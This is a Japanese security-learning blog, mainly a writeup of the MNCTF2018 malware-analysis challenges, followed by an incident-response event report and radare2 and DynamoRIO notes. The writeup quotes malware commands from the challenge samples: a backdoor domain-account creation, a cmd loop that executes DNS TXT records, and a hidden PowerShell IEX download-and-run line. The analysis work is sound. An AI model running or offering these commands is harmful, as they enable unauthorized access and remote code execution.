ごちゃごちゃしたIT勉強記録

自分用メモ。主にセキュリティで、その他色々書きたい。

Writeup - 今さらながらMNCTF2018をやってみた

MNCTF2019が公開されましたが、まずこっちをやってなかったのでやってみた。 基本的には、他のWriteupはみない状態でチャレンジ。ギブアップしたものだけみて勉強

解析環境は、VMWindowsLinux両方を用意。

練習問題

これについては、特に説明は不要かと。 単純に指定された文字列を入力欄に入力するだけ。

新人奮闘Ⅰ

解析対象のマルウェアのSHA-256のハッシュ値を求める問題。 やり方は色々ありそう。

Windows OSでやる場合には、CertutilコマンドとPowershellGet-FileHashコマンドが使えそう。

  • certutilコマンドを使う
certutil.exe -hashfile AD_OptimizationTool.exe SHA256
SHA256 ハッシュ (ファイル AD_OptimizationTool.exe):
f2 4f 56 29 be 2e 0f 82 1a db 36 fe 4d 47 40 79 37 f5 a3 18 bf 96 ae 36 55 b6 28 f8 33 04 0f 29
CertUtil: -hashfile コマンドは正常に完了しました。

ただし、certutilの場合だと、1バイトごとにスペースが入ってしまうのでそのままVTに投げてもちゃんと解析してくれない。 (取り除くとなると一手間かかる)

  • PowershellのGet-FileHashコマンドレットを使う
PS > Get-FileHash -algorithm sha256 .\AD_OptimizationTool.exe | select-object hash

Hash
----
F24F5629BE2E0F821ADB36FE4D47407937F5A318BF96AE3655B628F833040F29

こっちの方が非常に簡単。複数カラムが出てくるけど、ハッシュ値以外不要なのでselect-objectコマンドレットでハッシュ値のみを出すようにした。

新人奮闘Ⅱ

とだくんの解析レポートのお手伝い。全部を埋める必要がある。 項目で埋める必要があるのは以下の通り。

ファイル情報

  • MD5, SHA1, SHA256
  • ファイルサイズ(バイト)

PE情報

ぱっと見、全てCFF Explorerやpestudioでいけそうだなぁという感じ。 ただし、いずれのツールもSHA-256のハッシュ値は出てこない。 まぁ、先ほどの問題でSHA-256のハッシュ値はすでに出ているので、ここでは特に問題はないはず

PEの情報は、コンパイル日時はFile Header内に書かれている。CFF ExplorerだとHexの値で出てくるので変換(Unix timestampの形式なので、それを踏まえて)が必要だが、pestudioだとちゃんと変換後の情報(かつLocal Time)で出してくれている。問題はUTCで答えないといけないため、pestudioで出た時間から-9時間すればいい。

Import関数については、Section Headerをみると.importというセクションがあるのでおそらくここにDLLとインポート関数の名前が出てくると思われる。実際、CFF ExplorerでImport Directoryの項目をみるとDLL名とインポート関数の名前が出てくるので、これを答えればいい。pestudioの場合であればimport symbolという項目でインポート関数を一覧でみることができる(こっちの方が問題解く上では楽)

新人奮闘Ⅲ

マルウェアが実行されたあとコマンドが実行される」とあるので、Windows APIのShellExecuteAを実行するところの引数を確認すればいい。 IDAなどのディスアセンブラなど使えば問題ない。 IDAを使う場合には、まずImportのタブからShellExecuteAのアドレスにとび、次にShellExecuteAのアドレスをcallしている部分にxrefで飛べばいい。

cmd /c net user /add /domain vpnadmin P@ssw0rD1!

というコマンドがみれるはず。 コマンドの意味は「ドメインにvpnadminユーザーを追加して、パスワードをP@ssw0rD1!に設定する」。

新人奮闘Ⅳ

アクセスログの分析とマルウェア解析の情報で不正ログインされている時刻を答える問題。 マルウェアによって作成されたアカウントがvpnadminなので、まずはログの中でこのユーザーがあるかどうかを確認 いつもだとLinuxのコマンドを使うのですが、今回はあえてPowershellでチャレンジ。

PS> Get-Content -Path .¥vpn20180712.log -Encoding String | ConvertFrom-Csv | Where-Object { $_.account -eq "vpnadmin"}

date             account  ipaddress   
----             -------  ---------   
2018/07/13 15:01 vpnadmin 27.117.128.1

なので、上記の時間を答えればいい。

新人奮闘Ⅳ

攻撃元IPアドレスがどの国か、という問題。 上記のIPアドレスをGeoIPなどにぶん投げばとける。Koreaと出てくるので、回答は韓国になる。

大量不正

マルウェア軍から類似性の高い組み合わせを見つける問題。 類似性というとファジーハッシュかな、ということでssdeepコマンドで検体同士の比較を行う。ssdeepコマンドはREMnuxやSIFT(forensic workstation)に入っている。 ダウンロードしたzipを展開して、以下のコマンドを実行すると比較した結果を表示してくれる

$ ssdeep -b -d malware/*
sample68.bin matches sample1.bin (99)

種類特定

苦手なネットワーク関連。パケットからマルウェアの名前を特定する。 pcapを解析することになるので、無難にWiresharkを使っていく。

pcapを開いて、まず「あー」という感じで、あきらかに怪しそうな通信があるのがわかる。 自分の感覚では、「無意味に長く、パスの名前に規則性がなさそうなもの」は「なんか怪しい」と思う。

f:id:motojiroxx:20190706115121p:plain

ただ、自分はここからわかんなかった。。「こっから先、どうすればいいんだ」状態。 というわけでここであきらめて他の人のwriteupとかみてみた。/image/とか.gifがつくのはUrsnifの特徴らしい。 NTTセキュリティさんのところでも、UrsnifがC2サーバと通信する際のURLの特徴としてあげていた。

バンキングマルウェア「URSNIF」解析レポート https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/jp_ursnif_20161226

こういったURLの特徴から種別を特定するって頭があまりなかったので、非常にいい知見を得られた! 中身の動作以外にも、こういうところにもちゃんと目を向けないとという教訓にもなった。

標的型攻撃Ⅰ

メールに添付されているexcelファイルを解析する問題。 OfficeMalScannerかoledump.pyが使えるかな、という所。コマンドとか具体的に何できたかは、ちょっとうろ覚えなのであとでちゃんと確認しておきたい。 OfficeMalScannerを使う場合には、以下のコマンドで実行。ただ、ファイル名がおかしいのかどうかわからないけどなぜか用意した環境だとちゃんと解析されなかったので、ファイル名をちょっと変更して行う。

officemalscanner malicious_201800711.xls info

+------------------------------------------+
|           OfficeMalScanner v0.61         |
|  Frank Boldewin / www.reconstructer.org  |
+------------------------------------------+

[*] INFO mode selected
[*] Opening file malicious_201800711.xls
[*] Filesize is 39424 (0x9a00) Bytes
[*] Ms Office OLE2 Compound Format document detected
[*] Format type Excel

--------------------------------------------------
[Scanning for VB-code in MALICIOUS_201800711.XLS]
--------------------------------------------------
Sheet1
ThisWorkbook
-----------------------------------------------------------------------------
                VB-MACRO CODE WAS FOUND INSIDE THIS FILE!
               The decompressed Macro code was stored here:

------> C:\Users\motojiro\Desktop\mnctf\MALICIOUS_201800711.XLS-Macros
-----------------------------------------------------------------------------

マクロが検出され出力されるので、マクロのコードをみてみる。 どうやらC6:C11の範囲のユーザー名と比較を行なっているっぽいので、実際にシートの中身をみていく。ただ、Officeとか用意するの面倒なのでゴリ押しするw

問題として配布されたexcelファイルの拡張子を.zipに変更して、そのzipを展開。すると、excel内のリソースが色々出てくる。 その中で、実際のシートに該当しそうなファイルとしてWorkbookというファイルがあるので、これをメモ帳で開く。

f:id:motojiroxx:20190706115402p:plain

なんかユーザー名っぽいものがいくつか見える。これを回答に投げてやればいい。

.....絶対Officeとか用意しておいたほうがいいよなぁw

なお、もし、フォレンジック調査で「感染した端末のディスクが入手できた」のであれば、Recentフォルダとかを調査して「このExcelファイルがいつ開かれたか」を調査する必要がある、はず。

標的攻撃Ⅱ

ドキュメントのマクロが実行されるとHTTPSの通信が発生するので、そのURLを回答する問題。 そうなると、マクロの中にURLが含まれているかどうかをまず確認。ちゃっかりあるので、これが答え。

なお、実行ファイルの格納先としてスタートアップフォルダが指定されているので、PC再起動時にこの通信で取得した実行ファイルが動作するようになる。 なので、フォレンジックする時には、「スタートアップフォルダに実行ファイルがあるかどうか」と実際に実行されたとなれば「Prefetchファイルに当該実行ファイル名のものが残っているか、残っている場合にはそのPrefetchファイルから実行の履歴を抽出」する必要がある。

標的攻撃Ⅲ

excelのマクロ実行後に出てくる2次検体のsha256を答える問題。 標的攻撃Ⅱの部分で、落としてくるファイルのURLがわかっており、そのあとのスクリプトの部分で落としてきたファイルに対してどのような操作が行われるかが明示的に示されている。 certというファイルを落としてスタートアップフォルダに格納。certutil -decodeを使ってデコードをおこない、cert.exeとしてファイルを保存している。 なので、同じようにファイルをダウンロードしてcertutilコマンドを実行する

certutil -decode cert cert.exe

あとは、このcert.exeのsha256のハッシュ値を求めればいい

Get-FileHash -Algorithm sha256 cert.exe | Select-Object Hash

Hash
----
C4F069D079330CD46E51F9469C27015ED34C6371481DF83A323BC098F3B53382

標的攻撃Ⅳ

2次検体を実行するとHTTPSの通信が発生する。その「最初の通信のURL」を求める。 うわぁ。またネットワークの問題...

へこたれず、まずは検体を調べてみる。 まずは、表層解析をExeInfo PEとCFF Explorerをつかってやる。 ExeInfo PEで、パッカーがかかっていないかどいうかチェック。かかっていなさそう(セクションのサイズも特に問題なさそう) CFF Explorerを使って、インポート関数とかを確認。通信系のDLLであるWSOCK32.dllやWS2_32.dllの存在が確認できた。多分ここら辺使って通信は行うんだろう。

ということで、いきなりIDAを使う。。。のではなく解析環境上で動かしてみて、なにか出るかやってみる。通信は外に出したくないので閉鎖環境上で2台動かす。Windows上でProcess Monitorを起動した状態で検体を動かし、REMnuxでINetSimとfakeDNSを動かして動作の観察を行う。

実際、検体を動かしてみると、fakeDNSのログにshino.meと出てきたので「これだ!」と思って投げてみたけど不正解。 ただ、それ以外でそれらしきものが出ない。 cmdでnslookupを実行しているのは把握できた。実際に把握できたコマンドは以下の通り(Process Monitorから)。

cmd.exe /c for /F "usebackq tokens=*" %i in (`"nslookup -querytype=TXT shinohack.me. ns1.domain.com"`) do cmd /c %i

ただ、こっから先で止まってしまった。 ということでうんうん悩んだけどわからんかったのでギブアップ。 他の方のwriteupをみると、「shinohack.meドメインのtxtレコードをDNS検索すると、PowerShellコマンドがそこに含まれている」とあった。 実際に、インターネットに接続できるLinux環境を使って、cmdで実行されているnslookupコマンド部分のみを実行してみると....

$ nslookup -querytype=TXT shinohack.me. ns1.domain.com
Server:     ns1.domain.com
Address:    66.96.142.147#53

shinohack.me    text = "powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');"

出てきましたね。。。DownloadStringで指定されているURLが問題の回答になる。

普通にcmdで実行したnslookupコマンド部分のみを抜き出して実行したらよかっただけかー、という感じ。ただ、解析環境が閉鎖的なのでその点は注意が必要。

穴埋防御

配布されるyaraルールをみてみると、stringsの箇所で「Mutex Nameを入力してね」とあるので、Mutexを不審なファイルから探してみる

不審なファイルは、中身をみると明らかエンコードとかされているようなので、まずはBase64でデコードしてみる。

Certutil -decode Mutant.txt decoded_mutant.txt

するとあっさりPowershellスクリプトが出てくる。 スクリプトの中身をVSCodeでみていく(outlineで関数名が出てくるので非常に便利)と、よくみるInvoke-ReflectivePEInjectionが出てきます。PowerSploitのモジュールの1つですね。

上から下までズラーっとみていくと、最後の行にInvoke-REflectivePEInjectionを実際に実行している部分がある。 引数のうちPEBytesで指定されているものが長ったるいエンコードされた文字列なので、ひとまずbase64でデコードしてファイルとして出力にしてみる。 中身をみるとこんな感じ。

f:id:motojiroxx:20190706113923p:plain

ちょっとおしい。先頭がMZの出来損ないみたいになっているので、もう一手間ありそう。という事で、もう一度Powershellスクリプトに戻る。注目すべきはPEBytesにどのような処理が加えられているかVSCode上で「 PEBytes」で検索をかけると結構出てくるが、Main関数の中に変換処理が記述されている。

f:id:motojiroxx:20190706114732p:plain

  • Base64でデコード処理([System.Convert]::FromBase64String)
  • XOR 0x17

なので、これの通りに変換処理を加えてみる。ちゃんとPEフォーマットになっている様子。 あとは、outputをファイルとして出力してIDAなりで解析する。CyberChef本当に便利。

IDAで解析する際には、CreateMutexの関数に注目すればいい。引数として設定されている文字列がMutexの値となる。

f:id:motojiroxx:20190706113847p:plain

(かっこは外さないと正解じゃないらしい....)

盗難情報

暗号いやぁ〜。けどチャレンジ。 暗号化はXOR, Base64, ROT13の順番で行われているらしい。 という事で、CyberChefを使って上の逆順で処理をかけてみる。ただ、XORのシングルバイトキーはまだ不明なので適当に入れてみようかな。と思いきやCyberChefにXOR Brute ForceといういけてるOperationがあったので、これを使ってみる。 やってみた結果がこちら。

f:id:motojiroxx:20190706113809p:plain

key=0x15で、先頭の文字列が画像ファイルのシグネチャみたいなものになっている。なので、XORでkey=0x15に設定し、変換後ファイルとして保存する。

f:id:motojiroxx:20190706113755p:plain

中身をみると、中に答えが書いてあるという感じ。

感想

自力で結構解けたのが意外だった。自分の成長が感じ取れたのはかなり嬉しい。 また、マルウェアの情報の収集とかは結構しているつもりだったけど、特徴とかそういったものをちゃんとおさえられてないと若干危機感を感じた(Ursnifの問題)ので、ちゃんと情報収拾したらまとめておきたい。 ネットワーク関連は苦手なので、ちゃんと勉強しようと思った。

では、次はMNCTF2019を解くぞー!

Micro Hardening @ AD sapporoに参加!

めちゃくちゃ遅くなりましたが、報告もかねて。

以前から気になってはいたのですが、なかなか「今のスキルでいっても大丈夫なんか」と二の足を踏んでいました。ただ、北海道で開催されるということだったので勇気を出して参加してみました。

44b65c5061cecfdc02f94b9ce2.doorkeeper.jp

まぁ、結果としては「スキル貧弱すぎね?ワイ」という他なく、メンバーの方には迷惑をかなりかけたと思います(watchコマンドとか、この時メンバーの人に言われて初めて知りました....)。本当に申し訳ない...
ただ、得られるものがたくさんありました。なので、「参加して本当によかったなぁ」って思いましたし、さらに視野が広がったなぁという感じです。

参加して思ったこと

個人的な感想としては以下の2つが大きいです。

  • 知識として知っていたとしても、実際に手を動かして対処するのは日頃から具体的に対処の内容を意識していないと難しい

当然なのですが、これは本当に実感しました。普段、ニュースなどで「インシデントで.....設定に不備が....」といった話題があった際に、対処の内容を具体性を持って考えられていなかったんだなぁ、と。
内容的に簡単な作業だと思っていても、やはりやってみると案外難しいこととか「コマンドなんだっけ?」ってググってやって時間がかかってしまったりというのは結構にありました。 こういったところでもたつかないようにするためにも「対応を行う際の手順」を持っておくのは非常に重要だなと思います。
また、こういった手順を作るためには、自分たちが持っているリソースがなんなのかをちゃんと理解しておくことも必要ということも思いました。「何に対して(データベースサーバとかWebサーバとか)」「どのような処置を施す(どんなコマンドなどを実行するのか)」とかですね。
(こういった話はインシデント対応の資料とかで見られる内容だと思います)

  • チームとして対処するので「情報共有」「チームワーク」は本当に重要

インシデント対応の現場で、チームワークの不足と情報共有不足は本当に命取りになるのは実感しました。今回は、即席のチームでぎこちない部分もありましたが(汗)、これが「実際の現場だったら...」と想像すると、かなりゾッとします。 そうならないためにも、会社などの組織に属しているのであれば「日頃から関連部署とはちゃんと連携しておきたいよなぁ」といったところ。

情報共有にしても、「対応を行う際の手順」を共有知識として持っておくことも必要だと思いますし、可能であれば手順にしたがって対応がちゃんとできるかどうかの訓練はしておきたい。 もし、「対応を行う手順」がなかったとしても、slackやhackmdなどのツールなどを用いて「気になった情報」「誰が何を対処したか」などの情報は共有できるような体制にはしておきたい(理想ですが)。

今後やっておきたいこと

  • 配布された事前資料をちゃんと復習すること。

当日もこの資料をみて解決できるものが結構あったということなので、まずはそこから。

  • 今回使用された攻撃、それが成立してしまう要因(設定など)、対策方法(なにを実施すれば防げたのか)をちゃんと一通りまとめておくことをやっておきたい。

知識としてちゃんとまとめておくことは必要だし、ちゃんと手を動かして確かめておきたい

  • 情報共有の方法を検討(slackとかhackmdあればいいけど、ない場合はホワイトボードとか?)

最後に、

私自身、こういった「リアルタイムで攻撃を受けている時に、どのように対処するか」ということをやったことがなかったので、実際に参加してそれがいかに難しいかを実体験できたのは非常にいい経験でした。
いきなり会社とかで「対処しろ」と言われたとしても、事前の訓練なしには何もできない可能性が高いことも実感できました。こういったイベントを通じて「何を」「どのように対処」するかを手を動かして、そしてチームで連携を取りながら訓練できる機会は本当に貴重です。

ぜひ、興味がある人には勇気を出して参加してほしいとおもいます。

また、このようなイベントを立案・実施してくださった方々には本当に感謝です。ありがとうございました。
可能であれば、継続的に参加したいです。

自分に対する戒め

やりすぎセキュリティはノー!

動的バイナリ計装(Dynamic Binary Instrumentation)を調べたりしてみた

CODE BLUEのトレーニングにあったDBIというものがちょっと面白そうだったので、調べたりしてみました。
レーニング自体参加したかったのですが、仕事の関係で参加できず。
codeblue.jp

ただ、調べたり論文みたりしてみたらかなり便利そう(特にマルウェア解析するときには効率良くなりそう)と思ったので、わからないことは多いけど少しまとめてみます。

動的バイナリ計装(DBI : Dynamic Binary Instrumentation)とは

論文とかをみてみると、下のようにまとめられるかな、と。

  • プログラムの動的解析の手法
  • 実行中のプログラムにコードを挿入(コードは解析者があらかじめ準備)
  • プログラム内の情報(APIの関数名、設定された引数など)を明らかにできる

日本語で書かれた記事については下の参考URLをみてほしいのですが、英語の記事でまとまってそうなのはこちら。
Dynamic Binary Instrumentation Primer

やってみる!

今回は、上の中でもDynamoRIOを使ってみたいと思います。とりあえずの取っ掛かりとしてはつかいやすそうだったのが理由です。
ダウンロードしたzipを展開して、コマンドを実行すれば色々情報が取れそうな感じです。
今回試してみる環境はこちら

環境

  • ホストOS : Windows7 64bit
  • 仮想環境 : VMware Workstation 12 Pro
  • ゲストOS : Windows10 64bit
  • DynamoRIO version : 7.0.0-RC1(DynamoRIO-Windows-7.0.0-RC1.zipをダウンロード)

ゲスト環境にDynamoRIOを展開して、色々やってみます。

System Call Tracer

Windowsにおけるシステムコールをトレースすることができます。呼び出されたシステムコール、設定された引数がログとしてファイルに出力されます。
以下のコマンドで電卓(calc.exe)をトレースすると、以下のような結果が得られます。

drrun.exe -t drstrace -- calc
NtQueryVirtualMemory
	arg 0: 0xffffffff (type=HANDLE, size=0x4)
	arg 1: 0x008c2980 (type=void *, size=0x4)
	arg 2: 0x2 (type=int, size=0x4)
	arg 3: 0x02d1fca4 (type=<struct>*, size=0x4)
	arg 4: 0x212 (type=unsigned int, size=0x4)
	arg 5: 0x00000000 (type=unsigned int*, size=0x4)
    succeeded =>
	arg 3: <NYI> (type=<struct>*, size=0x4)
	arg 5: 0x00000000 (type=unsigned int*, size=0x4)
	retval: 0x0 (type=NTSTATUS, size=0x4)
NtQueryInformationProcess
	arg 0: 0xffffffff (type=HANDLE, size=0x4)
	arg 1: 0x24 (type=int, size=0x4)
	arg 2: 0x02d1fc78 (type=<struct>*, size=0x4)
	arg 3: 0x4 (type=unsigned int, size=0x4)
	arg 4: 0x00000000 (type=unsigned int*, size=0x4)
    succeeded =>
	arg 2: <NYI> (type=<struct>*, size=0x4)
	arg 4: 0x00000000 (type=unsigned int*, size=0x4)
	retval: 0x0 (type=NTSTATUS, size=0x4)
.......

Library Tracing Tool

呼び出されたライブラリコールをトレースして表示してくれます。
以下のコマンドでメモ帳(notepad.exe)をトレースすると、以下のような結果が得られます

drrun -t drltrace -only_from_app -- notepad
~~~~ KERNEL32.dll!GetStartupInfoA(0x007dfbfc, 0x595d088d)
~~~~ KERNELBASE.dll!GetModuleHandleA(0x00000000, 0x007dfbdc)
~~~~ msvcrt.dll!__set_app_type(0x00000002, 0x00000002)
~~~~ msvcrt.dll!__p__fmode(0x00e2a63a, 0x007e0000)
~~~~ msvcrt.dll!__p__commode(0x00e2a63a, 0x007e0000)
~~~~ msvcrt.dll!_controlfp(0x00010000, 0x00030000)
~~~~ KERNELBASE.dll!SetUnhandledExceptionFilter(0x00e2a880, 0x00e2a63a)
~~~~ msvcrt.dll!_initterm(0x00e11328, 0x00e11340)
~~~~ msvcrt.dll!__getmainargs(0x00e2c7e8, 0x00e2c7ec)
~~~~ msvcrt.dll!_onexit(0x00e2af40, 0x595d0f49)
~~~~ msvcrt.dll!_onexit(0x00e2af60, 0x595d0f49)
~~~~ msvcrt.dll!_ismbblead(0x0000006e, 0x595d088d)

かっこ内で表示されているのは、ライブラリコールの際に設定された引数の一部っぽい?

まとめ

ぶっちゃけまだ勝手がよくわからんと言う感じ。
ただ、「どんなライブラリコールがされたのか」「どういった順番でよばれたか」がわかる感じなので、ちゃんとツールの特徴とかを把握できればマルウェア解析とが少し楽になりそうと言う感想。
他にも色々ツールがあるので試してみたいのと、ちゃんと「DBIってなに」というのを勉強しようと思う。
特に、セキュリティ系の論文は結構読んでて面白いなぁと思うことがよくあるので、これからも色々読んで試せるものがあれば試してみたいと思います。

【参考URL】
PinからPEMUへ | 一生あとで読んでろ
Intel Pinを使ってみる - ももいろテクノロジー
PEMUを動かしてみる - 拾い物のコンパス
Windows 10でDynamoRIOを使ってみた - SENTO NO OBOEGAKI

【あとで追加予定】radare2メモ書き

CTF界隈では非常に使われているradare2ですが、コマンドとかよくわからないし、どう処理を進めていけばいいのかが全然わからんちんなので、まとめておく。

radare2とは

Reverse Engineering Framework。バイナリの解析とかに便利なツール、コマンドが色々入っている。
いろんなアーキテクチャ、ファイルフォーマットに対応している。フリーでさまざまなアーキテクチャ・ファイルフォーマットに対応している点は非常に強いと思う(ただし、x86には対応しているがx86-64には対応していない様子)。詳しい情報は以下を参照。
github.com

解析で基本的にやりたいこと

コードの逆アセンブル

アセンブルで個人的にやりたいのは以下のような作業。

  • 特定のアドレスから何行分かのアセンブリコードを表示するなどの操作
  • import, exportの一覧、しょっぱなから見れるstring情報を表示
  • まぁ、ざっくりアセンブリコードを眺めるとかそんな感じ

デバッグ

デバッグでやりたい基本的なことは以下のようなこと。

  • セキュリティの機構の有無(ASLRなど)
  • メモリマップの表示
  • ブレークポイントの設置
  • ステップ実行(ステップイン、ステップアウト)
  • レジスタの状態
  • 特定のメモリアドレスに格納されている値(hex, strings)

一番最初のコマンド

アセンブルするだけの場合とデバッグをする場合ではすこし違う。
ただ、dスイッチをつけるだけなのだが。

【逆アセンブル】最初のコマンド

r2 <elf binary file>

デバッグ】最初のコマンド

r2 -d <elf binary file>

dスイッチをつけることで、デバッグモードで起動することが可能。起動すると以下のような表示があった後、プロンプトが表示される。

$ r2 -d hello
Process with PID 9276 started...
= attach 9276 9276
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
 -- Press 'C' in visual mode to toggle colors
[0x7f532faecc30]> 

ここで表示される画面がradare shellというものらしい。
まぁ、radareにおけるホーム画面みたいなもんとして今の所は理解しておけばいいかと。
で、最初のコマンドが違うだけで、後の操作は基本的に同じかと思われる。

radare shell起動後の操作

セキュリティ機構の有無

iI

実行するとこんな感じ。

[0x7f532faecc30]> iI
arch     x86
baddr    0x400000
binsz    6666
bintype  elf
bits     64
canary   false
class    ELF64
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

バイナリに関連する情報と、セキュリティ機構の有無に関する情報が出てくる。
checksec.shとかと似たようなもん。

初期段階の解析

aaa

上記のコマンド(analyzeコマンド)を行うと以下のような表示が出る。

[0x7f532faecc30]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 9276 9276
9276

複数の解析をいっぺんにやっているという感じ。
複数の解析というのは、各行のカッコ内に記述されているコマンド。
なので、aa, aac, aar, aan, aftaをaaaというコマンドでいっぺんにやっているという感じでしょうか。
各コマンドの意味は、上の出力から判断できるかと。

関数名の調査

afl

バイナリに含まれているシンボルの一覧を出す(analyze function list?)ようなものでしょうか。
表示されるものは以下のようなもの

[0x7f532faecc30]> afl
0x00400400    3 26           sym._init
0x00400430    1 6            sym.imp.puts
0x00400440    1 6            sym.imp.__libc_start_main
0x00400450    1 6            sym.imp.exit
0x00400460    1 6            sub.__gmon_start_460
0x00400470    1 41           entry0
0x004004a0    4 50   -> 41   sym.deregister_tm_clones
0x004004e0    4 58   -> 55   sym.register_tm_clones
0x00400520    3 28           sym.__do_global_dtors_aux
0x00400540    4 38   -> 35   entry1.init
0x00400566    1 24           sym.main
0x00400580    4 101          sym.__libc_csu_init
0x004005f0    1 2            sym.__libc_csu_fini
0x004005f4    1 9            sym._fini

特定の関数またはアドレスへの移動

s <symbol or address>

sはseekコマンド。特定のシンボルがさす関数の先頭または任意のアドレスへの移動を行う。
例えば、aflで

[0x7f532faecc30]> afl
0x00400400    3 26           sym._init
0x00400430    1 6            sym.imp.puts
0x00400440    1 6            sym.imp.__libc_start_main
0x00400450    1 6            sym.imp.exit
0x00400460    1 6            sub.__gmon_start_460
0x00400470    1 41           entry0
0x004004a0    4 50   -> 41   sym.deregister_tm_clones
0x004004e0    4 58   -> 55   sym.register_tm_clones
0x00400520    3 28           sym.__do_global_dtors_aux
0x00400540    4 38   -> 35   entry1.init
0x00400566    1 24           sym.main
0x00400580    4 101          sym.__libc_csu_init
0x004005f0    1 2            sym.__libc_csu_fini
0x004005f4    1 9            sym._fini

sym.mainに移動したいのであれば、

s sym.main

とする。そうすると、プロンプトのアドレスがseekした後のアドレスに変化する。

[0x7f532faecc30]> s sym.main
[0x00400566]>

ビジュアルモードへの移行

Vコマンドをベースとして、次にくる文字によって表示方法を変更する。
表示方法としてはおもにfncgraphとpanelがある。

その1:fncgraph(function graph?)

[0040055a]> VV

これを実行すると、現在のアドレスを開始地点としてIDAのGraph Viewっぽい画面が出る。

[0x00400566]> VV @ sym.main (nodes 1 edges 0 zoom 100%) BB-NORM mouse:canvas-y mov-speed:5

                 .---------------------------------------------------.                                                                                       
                 | [0x400566]                                        |                                                                                       
                 | ;-- main:                                         |                                                                                       
                 | (fcn) sym.main 24                                 |                                                                                       
                 |   sym.main (int argc, char **argv, char **envp);  |                                                                                       
                 | ; DATA XREF from entry0 (0x40048d)                |                                                                                       
                 | push rbp                                          |                                                                                       
                 | mov rbp, rsp                                      |                                                                                       
                 | ; 0x400604                                        |                                                                                       
                 | ; "Hello world!"                                  |                                                                                       
                 | mov edi, str.Hello_world                          |                                                                                       
                 | call sym.imp.puts;[ga]                            |                                                                                       
                 | mov edi, 0                                        |                                                                                       
                 | call sym.imp.exit;[gb]                            |                                                                                       
                 `---------------------------------------------------'  

画面の移動はvimと同じようにhjklキーを使って行う。
で、この画面上でできることは

入力キー 操作
shift+/キー 使用可能なコマンド一覧を表示(ヘルプ機能)
xキー 今いるサブルーチンの呼び出し元(xref)のアセンブリコードを表示する
スペース hexダンプの表示
shift+dキー アセンブリコードとアドレスを同時に表示するモード

あとfncgraphの画面で
xキー -> vキー
という順番でやると、左側に関数のシンボル名、右側に左側で選択した関数のアドレスから何行分かのアセンブリコードが表示される画面が出てくる。
f:id:motojiroxx:20180912154800p:plain


その2:Panel表示

[0040055a]> V!

上記のコマンドを入力すると、以下のような画面が表示される。
f:id:motojiroxx:20180912150339p:plain
それぞれのパネルへ、tabキーを使うことで移動することが可能。
また、上にあるCUI版メニューバーへもtabキーで移動可能。
メニューバーには結構色々な機能があって、非常に使える。
(ただ、string検索はなぜか引っかかるはずの文字列が引っかからなかったのだが....)

いつものデバッグ操作

基本的なデバッグ操作はだいたい

  1. ブレークポイントの設置
  2. continue操作(現在位置から直近のブレークポイントまでpcを進める)
  3. ブレークポイントからステップ実行

という感じが多い。なので、それをradareでやる場合のコマンドなどを下にまとめる。基本的にはradare shell上でdコマンド(debug command)を使っていくことになる。

ブレークポイントの設置

radare shellでdbコマンド(debug breakpoint)を使う。

db <address>

これでブレークポイントを仕掛けることができる。

直近のブレークポイントまで移動(continue)

dc

このコマンドを実行すると、radare shellのプロンプトが表示するアドレスが設定したブレークポイントのところまでいっているはずである。

ステップ実行

ds

デバッグ操作の基本はだいたいこんな感じかと。


ここまでで把握できたもの

大まかなコマンド体系としては、いくつかの1文字で表現されるメインコマンドがあり、1文字で表現されるサブコマンド・オプションを合体させて1つの実行コマンドとしている。(メインコマンドの一覧は、radare shell上で'?'コマンドを実行するとみることが可能)
メインコマンドのうち主要なものを以下に列挙。

a : analyze command
aの次にくる文字で「何を解析(analyze)の対象とするか」を指定する
(例として、関数名を調べたい場合には' af 'とする)
で、その次にくる文字で「解析した結果をどのように処理したいか」というオプションがくる。
(例としては、リストとして画面出力したい場合であれば' afl 'とする)

p : print command
pの次にくる文字で「どういった形式で出力(print)を行うか」を指定する
(例として、逆アセンブルしたコードを出力する場合には' pd 'とする)
で、その次にくる文字で「何を対象とするか:を指定する
(例として、関数を出力する場合には' pdf@function_name 'とする)

i : information command
iの次にくる文字で「どういった情報を出力するか」を指定する
(例として、importされた関数の情報が欲しい場合には' ii 'とする)

V : Visual mode command
vの次にくる文字で「どういったモードで表示を行うか」を指定する
(例として、上記のようにpanelで表示する場合には' V! 'とする)

d : debug command
dの次にくる文字で「デバッグモードでどのような操作を行うか」を指定

gdbでarmバイナリをデバッグできるようにする

普段はMacVMware Fusionをいれて、仮想マシンLinux環境を動かしているわけですが、CTFの問題を解いているとELFだったとしてもアーキテクチャがARMのものにぶち当たったりします。

GDBでARMのELFをデバッグするためのパッケージとして、gdb-multiarchというものがあります。
これを入れることで、普段だとx86-64x86アーキテクチャのELFしか解析できない(はず)ですが、ARMのアーキテクチャもちゃんと解析できるようになります。

環境

$ uname -a
Linux forensic-virtual-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="16.04.4 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.4 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

解析対象

とあるCTFの問題で出てきたバイナリを対象とします(手元にちょうどあったので)

$ file bin_arm 
bin_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, not stripped

gdb-multiarchが入っていない場合

まずは、gdb-multiarchが入っていない状態でバイナリを解析してみます。
いつも通りデバッグ対象に上記のファイルを指定します。

gdb bin_arm

試しにmain関数を逆アセンブルした結果を見てみようと思います。

gdb-peda$ disas main
